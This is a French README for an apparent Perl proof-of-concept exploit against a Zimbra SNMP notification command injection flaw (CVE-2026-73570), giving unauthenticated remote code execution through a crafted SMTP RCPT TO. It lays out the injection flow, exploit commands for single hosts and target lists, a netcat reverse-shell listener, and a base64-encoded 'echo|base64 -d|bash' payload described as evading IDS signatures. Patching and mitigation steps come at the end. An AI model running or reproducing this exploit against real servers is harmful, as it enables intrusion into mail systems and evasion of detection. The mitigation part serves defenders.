
Zimbra SNMP Notification OS Command Injection — RCE non authentifié via l'exploit SMTP (Poc)
| Champ | Valeur |
|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 ÉLEVÉE — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande OS |
| Affecté | Zimbra ZCS < 10.1.20 (avec zimbra-snmp installé) |
| Corrigé dans | ZCS 10.1.20 — juillet 2026 |
| CISA KEV | Ajouté le 2026-08-21 (échéance de remédiation FCEB : 2026-08-24) |
| Authentification requise | Aucune |
| Exécution en tant que | Utilisateur OS zimbra |
Le paquet optionnel zimbra-snmp inclut une règle swatchdog qui surveille /var/log/zimbra.log pour les lignes correspondant à :
Service status change: <NAME> changed from <STATE> to <STATE>
Lorsqu'une correspondance est trouvée, swatchdog transmet le champ <NAME> capturé directement au script shell de notification SNMP sans aucune assainissement.
Un attaquant non authentifié peut injecter une entrée de journal forgée en envoyant une commande SMTP RCPT TO spécialement formée. En utilisant une partie locale entre guillemets RFC 5321, des métacaractères shell — par ex. $(...) — sont intégrés dans <NAME> et s'exécutent lorsque swatchdog traite la ligne de journal résultante.
Les trois conditions suivantes doivent être vraies sur la cible pour que la vulnérabilité soit exploitable :
zimbra-snmp est installésnmp_notify = true)swatchdog est en cours d'exécutionAttaquant MTA Zimbra
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── journalise les données RCPT TO ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog correspond au
│ │ motif, extrait
│ │ $(CMD), exécute
│◄─────────── rappel shell ───────────────────────────────────────┘
RCPT TO armé.swatchdog correspond au motif du journal et extrait le $(CMD) injecté.CMD en tant qu'utilisateur OS zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
perl zimbra-poc.pl -H mail.target.com -r <VOTRE_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <VOTRE_IP> -R 4444
targets.txt — un hôte par ligne, :port optionnel, les lignes commençant par # sont ignorées :
mail.example.com
mail.example.com:25
10.0.0.50:587
# commentaire ignoré
| Option | Longue | Défaut | Description |
|---|---|---|---|
-H | --host | — | Nom d'hôte ou IP de la cible unique |
-f | --file | — | Fichier contenant la liste de cibles |
-p | --port | 587 | Port SMTP par défaut |
-r | --rhost | — | Votre IP pour le rappel du shell inverse |
-R | --rport | 4444 | Port de l'écouteur |
-t | --timeout | 15 | Délai d'expiration de la socket en secondes |
-S | --ssl | désactivé | TLS direct (auto-activé sur le port 465) |
-v | --verbose | désactivé | Afficher le dialogue SMTP complet |
-L | --logfile | — | Écrire le journal de session dans un fichier |
-h | --help | — | Afficher l'aide |
# Terminal 1 — démarrer l'écouteur
nc -lvnp 4444
# Terminal 2 — exécuter l'exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
La commande du shell inverse est encodée en base64 avant l'injection :
echo <b64>|base64 -d|bash
Cela empêche les IDS/IPS de détecter les signatures en texte clair telles que /dev/tcp, bash -i ou nc -e. Le bloc encodé est injecté comme $(...) dans la partie locale entre guillemets de RCPT TO, déclenchant l'exécution côté serveur lorsque swatchdog traite l'entrée du journal.
| Action | Détail |
|---|---|
| Correctif | Mettre à niveau vers Zimbra ZCS ≥ 10.1.20 |
| Désactiver la notification SNMP | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Supprimer le paquet | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Contrôles réseau | Restreindre le SMTP entrant (25/465/587) aux relais de confiance lorsque cela est opérationnellement possible |
Cette preuve de concept est publiée à des fins de tests de sécurité autorisés, de recherche académique et de défense uniquement.
L'exécuter contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test est illégal.
L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.